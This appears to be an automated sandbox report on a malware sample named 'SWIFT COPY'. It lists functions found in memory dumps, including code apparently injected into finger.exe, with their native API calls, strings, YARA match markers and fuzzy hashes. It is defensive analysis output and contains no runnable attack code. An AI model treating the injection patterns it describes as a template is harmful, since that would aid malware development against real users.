Function 0136BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Resource at %p, xrefs: 013A7B8E
RTL: Re-Waiting, xrefs: 013A7BAC
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 013A7B7F

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: 2edbee37509707ef1c0957d02d97a6d45f07e393d333342a3f5e97e10253dca5
Instruction ID: 55b1460103fb33564f18e93f80f97f8e9040b9b894ecd13e9ca4563c6a40ccc2
Opcode Fuzzy Hash: 2edbee37509707ef1c0957d02d97a6d45f07e393d333342a3f5e97e10253dca5
Instruction Fuzzy Hash: 254105353007028FD725DE29CC40B66B7E9EF98718F004A2DFA5ADB694DB32E4098F91

Function 0136B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 013A728C

Strings

RTL: Resource at %p, xrefs: 013A72A3
RTL: Re-Waiting, xrefs: 013A72C1
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 013A7294

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: d9bad92fffbb93a9226d6c2ca22c0de84c08a6e84e2090d033e43c7208044240
Instruction ID: 2883a186854c4be728b89df63716ee9d979b2499dd2ab2b967cd4e76a2bbb45b
Opcode Fuzzy Hash: d9bad92fffbb93a9226d6c2ca22c0de84c08a6e84e2090d033e43c7208044240
Instruction Fuzzy Hash: A3412431700206ABD721DE29CC81F66BBA9FF94718F104629F955EB644DB32F846CBD1

Function 013E2300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 013E238D
___swprintf_l.LIBCMT ref: 013E23B3

Strings

]:%u, xrefs: 013E23AA
%%%u, xrefs: 013E2384

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 59beedefae265c8de5dc244c4c47e5ea9fb3607fcee2552de405361c8b30dab8
Instruction ID: bdf775bbe99453ee4a424fc81bc0a2472e20f974814c3299363d64a345543b75
Opcode Fuzzy Hash: 59beedefae265c8de5dc244c4c47e5ea9fb3607fcee2552de405361c8b30dab8
Instruction Fuzzy Hash: 89314172A003299EDB20DF2DCC44BEFB7FCEB54614F44455AE949E3240EB30AA448FA0

Function 01377D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 01377E8B

Strings

+, xrefs: 01377DE8
-, xrefs: 01377DDD

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction ID: 1d2a52cd8d48fef0b9e6ffbbb2675245c71a229e305741b9cb1af660965615c2
Opcode Fuzzy Hash: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction Fuzzy Hash: 9B91C271E0020A9BEF34DF6DC988ABEBBA5EF44328F14451AE955E76C0D7388941CB51

Function 01339126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

$, xrefs: 01339191
@, xrefs: 01339175

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: 5fb9d1e3cde89684f2b0ff4e2f967281e5b297e895065fcf7e08030375886aa0
Instruction ID: 9f2e60689bb1b4be48d8826646e459a9a566ea70ef629ff417bf5432a5bbcd4a
Opcode Fuzzy Hash: 5fb9d1e3cde89684f2b0ff4e2f967281e5b297e895065fcf7e08030375886aa0
Instruction Fuzzy Hash: 42811B72D00669DBDB358F58CC44BEAB7B8AB48718F0041DAEA19B7680D7705E84CFA4

Analysis Process: finger.exePID: 8008, Parent PID: 4092COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	4.3%
Signature Coverage:	1.6%
Total number of Nodes:	444
Total number of Limit Nodes:	74

Executed Functions

Function 02879F20 Relevance: 20.4, Strings: 16, Instructions: 350
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`, xrefs: 0287A153
L, xrefs: 0287A093
N, xrefs: 0287A0F9
X, xrefs: 02879F7A
n, xrefs: 0287A03C
j, xrefs: 0287A135
Pw, xrefs: 0287A0B9
m, xrefs: 0287A185
>, xrefs: 0287A028
s, xrefs: 0287A00D
fN, xrefs: 02879F5E
5Z, xrefs: 0287A0DE
N, xrefs: 0287A0A4
9, xrefs: 0287A10D
<, xrefs: 0287A167
So, xrefs: 02879F8B

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID:
String ID: 5Z$9$<$>$L$N$N$Pw$So$`$fN$j$m$n$X$s
API String ID: 0-2357910541
Opcode ID: 9582a658eb137406f3bf7cdfd2278e0763a54f8c99eff3a0a33e665a6ef9d154
Instruction ID: 176fadd7b4c288ba2c4c130d5a8bfa74eb89cdb48b08a1a6fcb70dad1e856cac
Opcode Fuzzy Hash: 9582a658eb137406f3bf7cdfd2278e0763a54f8c99eff3a0a33e665a6ef9d154
Instruction Fuzzy Hash: 9902B2B8D05229CFEB28CF98C8947EDBBB2BB44308F1081D9D509BB281D7795A85CF55

Function 0288C7B0 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00000000), ref: 0288C894
FindNextFileW.KERNELBASE(?,00000010), ref: 0288C8CF
FindClose.KERNELBASE(?), ref: 0288C8DA

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 74d106090a7080095cc7420a55ff87f1c068363cb79c4006443c16e485b3f75b
Instruction ID: b2df5359fde612536febafc5ee7dd01ffc0b7e394937bbd9dfca82d89c28487b
Opcode Fuzzy Hash: 74d106090a7080095cc7420a55ff87f1c068363cb79c4006443c16e485b3f75b
Instruction Fuzzy Hash: 63316E79A40308BBDB24EBA4CC89FEF777DDB44744F144499B908E6180DA70AA848BA1

Function 02899340 Relevance: 1.6, APIs: 1, Instructions: 101filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(161FBA40,?,?,?,?,?,?,?,?,?,?), ref: 02899438

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 913b0aa7505f0623b442c70bc7bed9716eb88d71eb565b98757f04a2e86dff34
Instruction ID: 77468071aa12d8a41de21ba2659b834d47dc120dcb7e9d20439ecb3dee0f8cbc
Opcode Fuzzy Hash: 913b0aa7505f0623b442c70bc7bed9716eb88d71eb565b98757f04a2e86dff34
Instruction Fuzzy Hash: FA31D5B9A00648ABCB14DF99D880EDEB7F9EF8C700F148219F919A7340D730A951CFA5

Function 028994A0 Relevance: 1.6, APIs: 1, Instructions: 93filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(161FBA40,?,?,?,?,?,?,?,?), ref: 02899580

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e6f3ba0a2a121550311ff52ac0598f0ab7352921171cdb98717c8912cdbe003b
Instruction ID: 54025025ce606f13948ebb68687e15b21ebfd96d8bd98181fbcd3a74a9c5e5ab
Opcode Fuzzy Hash: e6f3ba0a2a121550311ff52ac0598f0ab7352921171cdb98717c8912cdbe003b
Instruction Fuzzy Hash: 4531C7B9A00608ABCB14DF99D880EDFB7F9EF88714F148219FD19A7240D734A911CFA5

Function 02899790 Relevance: 1.6, APIs: 1, Instructions: 81memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(161FBA40,?,028981AF,00000000,00000004,00003000,?,?,?,?,?,028981AF,02881F4E), ref: 02899855

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: a1c1bc1c7ed6e412f4197ea02707f05ce7fd928f0e11f28bcc27ba9ea0b3128d
Instruction ID: 4808424dba997cfe3f77a98dd7196e49edb12c269b9339f3ad130cd1ef098e3f
Opcode Fuzzy Hash: a1c1bc1c7ed6e412f4197ea02707f05ce7fd928f0e11f28bcc27ba9ea0b3128d
Instruction Fuzzy Hash: 172126B9A00208ABDB14DF99CC41EAFB7B9EF88700F10821DFD18A7240D734A911CFA5

Function 02899590 Relevance: 1.6, APIs: 1, Instructions: 61filenativeCOMMON

Download Yara Rule

APIs

NtDeleteFile.NTDLL(161FBA40), ref: 02899620

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: d7fd5be2052f01351cd39b10a120a2b64c712234ba1b204dfdc6d8a01e2bf1db
Instruction ID: 0e0e1148cec6f95c81724970bd041dc38d446b9685e9de763e78ed24620adc2c
Opcode Fuzzy Hash: d7fd5be2052f01351cd39b10a120a2b64c712234ba1b204dfdc6d8a01e2bf1db
Instruction Fuzzy Hash: 4E11A079610608BBDB20EB69CC41FEB73ADDF89704F148159FA09A7241D771A9058FF2

Function 02899630 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 02899661

Memory Dump Source

Source File: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2870000_finger.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 085c86df9dafaac33c1aaa89ff5402a964957b63bb21a493f7364fc0a86431e4
Instruction ID: 03c3f9810e7bcc5d448c5eeaafde87fd669ca12ba5871716a3cb5f0cc9553caf
Opcode Fuzzy Hash: 085c86df9dafaac33c1aaa89ff5402a964957b63bb21a493f7364fc0a86431e4
Instruction Fuzzy Hash: 46E0467A2002047BC620EA5ADC40F9BB7AEDFC6710F008015FA08A7240CA70BA12CAE5

Function 03094340 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0309434A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e8aad0e38ee1d027ecc78bf005708dc1004c30bcaff68d78624033a1c9b2971b
Instruction ID: 21ba881b6681b1b802150631fc2dc8d423a61d5f7286c789c3cf9f841ad1aeef
Opcode Fuzzy Hash: e8aad0e38ee1d027ecc78bf005708dc1004c30bcaff68d78624033a1c9b2971b
Instruction Fuzzy Hash: A7900271B06C0412A140B1DC9884546444597F0301B55C011E0424554C8B148A565361

Function 03094650 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0309465A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1af985360e47595994e062da73b0b389449bb4869df57d3eccd403d1047b0f21
Instruction ID: 0cd9704f9aff4e8afbc035e489f577d69f64ef24f0d723d0e60d4103a81158e9
Opcode Fuzzy Hash: 1af985360e47595994e062da73b0b389449bb4869df57d3eccd403d1047b0f21
Instruction Fuzzy Hash: 1D9002A1B02904425140B1DC9804406644597F1301395C115A0554560C871889559269

Function 03092B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092B6A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 78c3b756e0cbef5bcd985e92b56d6d4a231b3893ff9d6ea9f2d9d6a1fac2cd39
Instruction ID: f57441aa48abd3bcfdc278d24b964b751ec3e4a0672d7adbb248889a3ba76b9c
Opcode Fuzzy Hash: 78c3b756e0cbef5bcd985e92b56d6d4a231b3893ff9d6ea9f2d9d6a1fac2cd39
Instruction Fuzzy Hash: 929002A1703804035105B1DC9414616444A87F0201B55C021E1014590DC62589916125

Function 03092BA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092BAA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e2172007bb43175ea353705dbb45286fb05c8a1f9a0bcc99ad8f02925314eef7
Instruction ID: 0e2c121733997f965071a45692f108f47d98dd86e5c9e8d2bbd514bd150ab23e
Opcode Fuzzy Hash: e2172007bb43175ea353705dbb45286fb05c8a1f9a0bcc99ad8f02925314eef7
Instruction Fuzzy Hash: 9B900271B0680C02E150B1DC9414746044587E0301F55C011A0024654D87558B5576A1

Function 03092BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092BEA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dba7e18b01d0ccc20cbc086a30d25bc8756040ac8a8bacc1e278dd7bd939b8b8
Instruction ID: ab03a3d5a1f824ff1639decfa7140a8ea5bee114c5addcb584a3f9150e619831
Opcode Fuzzy Hash: dba7e18b01d0ccc20cbc086a30d25bc8756040ac8a8bacc1e278dd7bd939b8b8
Instruction Fuzzy Hash: 1A90027170684C42E140B1DC9404A46045587E0305F55C011A0064694D97258E55B661

Function 03092BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092BFA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 72946bad9fd3def89e2e82cedcb250b0bd0f25d67d271046f61405dceb5458ff
Instruction ID: 3db3ef857e0cd491d8d4dc0c151d9b7d3a58bb7d594343858fe93705df94e34c
Opcode Fuzzy Hash: 72946bad9fd3def89e2e82cedcb250b0bd0f25d67d271046f61405dceb5458ff
Instruction Fuzzy Hash: 8D90027170280C02E180B1DC940464A044587E1301F95C015A0025654DCB158B5977A1

Function 03092AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092ADA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7a50d1bdd127c266be118998907985475c5596cf223ac3b42452aa5384a2800c
Instruction ID: 7e10a87195fa1a5cbdec14d7285c3d171460eb692888b4fc1c8cb4127583a2ea
Opcode Fuzzy Hash: 7a50d1bdd127c266be118998907985475c5596cf223ac3b42452aa5384a2800c
Instruction Fuzzy Hash: 86900475713C04031105F5DC570450704C7C7F5351355C031F1015550CD731CD715131

Function 03092AF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092AFA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aa87c209a4d4f433fd1540710d125e82c349201a48712adfc9171e9bbcd263e1
Instruction ID: 08c42b6c5dff3bcc14d8db36dc3ef634afda4c323ad2abd2413d1fe325b55848
Opcode Fuzzy Hash: aa87c209a4d4f433fd1540710d125e82c349201a48712adfc9171e9bbcd263e1
Instruction Fuzzy Hash: 55900265722804021145F5DC560450B088597E6351395C015F1416590CC72189655321

Function 03092F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092F3A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 208fed9fe70b537c976e4c65e2834b74603a43ee5205813a0a1d26a90d53e2b7
Instruction ID: eabda0a3a17a4cc5e64c7874520055868a19f7565f6855576cf73e1922d8477a
Opcode Fuzzy Hash: 208fed9fe70b537c976e4c65e2834b74603a43ee5205813a0a1d26a90d53e2b7
Instruction Fuzzy Hash: 809002A174280842E100B1DC9414B060445C7F1301F55C015E1064554D8719CD526126

Function 03092FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092FBA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: df20b500a9d0264a0694a18848c06c221b3ba25350d8b3634398d1f0baeb8ab2
Instruction ID: 0030ac85f373a10f230c0abb551a785d2ad59c9fe69b7c7256ec21b088741b2f
Opcode Fuzzy Hash: df20b500a9d0264a0694a18848c06c221b3ba25350d8b3634398d1f0baeb8ab2
Instruction Fuzzy Hash: 7F900261B02804425140B1ECD8449064445ABF1211755C121A0998550D865989655665

Function 03092FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092FEA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ca2cbd94176a8985892efdfe57278fa4219a8274ca10e4800bb3471f94b391ac
Instruction ID: ebad0d73a34809a8e53cdbb00ba94a4353df6577dc89e226785fdbef313c2a05
Opcode Fuzzy Hash: ca2cbd94176a8985892efdfe57278fa4219a8274ca10e4800bb3471f94b391ac
Instruction Fuzzy Hash: 5C900261712C0442E200B5EC9C14B07044587E0303F55C115A0154554CCA1589615521

Function 03092E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092E8A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f2013ff0630e7100ac6aec60bacbe6cbb877f58a6f1372033a7c32a424bdc4d1
Instruction ID: 765a5f4abad16818fb27d4f375108811416d6dc36079a2a574d1f76b69f0c4ea
Opcode Fuzzy Hash: f2013ff0630e7100ac6aec60bacbe6cbb877f58a6f1372033a7c32a424bdc4d1
Instruction Fuzzy Hash: E8900261B0280902E101B1DC9404616044A87E0241F95C022A1024555ECB258A92A131

Function 03092EE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092EEA

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c9f2556801bfb37bbc79590a64d31f59fad71ede16c8665d498ab497bd0e22b4
Instruction ID: 9e78f80f858fb3a748b40bc4721e098f2b1235491e5f39946faf0fafb022cfd2
Opcode Fuzzy Hash: c9f2556801bfb37bbc79590a64d31f59fad71ede16c8665d498ab497bd0e22b4
Instruction Fuzzy Hash: D09002A1702C0803E140B5DC9804607044587E0302F55C011A2064555E8B298D516135

Function 03092D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092D1A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

Associated: 00000007.00000002.3579576147.0000000003149000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.000000000314D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3579576147.00000000031BE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3020000_finger.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 890f3960cf126588216944cb3878092931507f4f1a5fe9eb9eab2d78cf10d0b6
Instruction ID: 84f161529564ff01577915f0755942248f3f274dbd8fa7a2924a3bda0b66804d
Opcode Fuzzy Hash: 890f3960cf126588216944cb3878092931507f4f1a5fe9eb9eab2d78cf10d0b6
Instruction Fuzzy Hash: 2090026971380402E180B1DCA40860A044587E1202F95D415A0015558CCA1589695321

Function 03092D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03092D3A

Memory Dump Source

Source File: 00000007.00000002.3579576147.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true

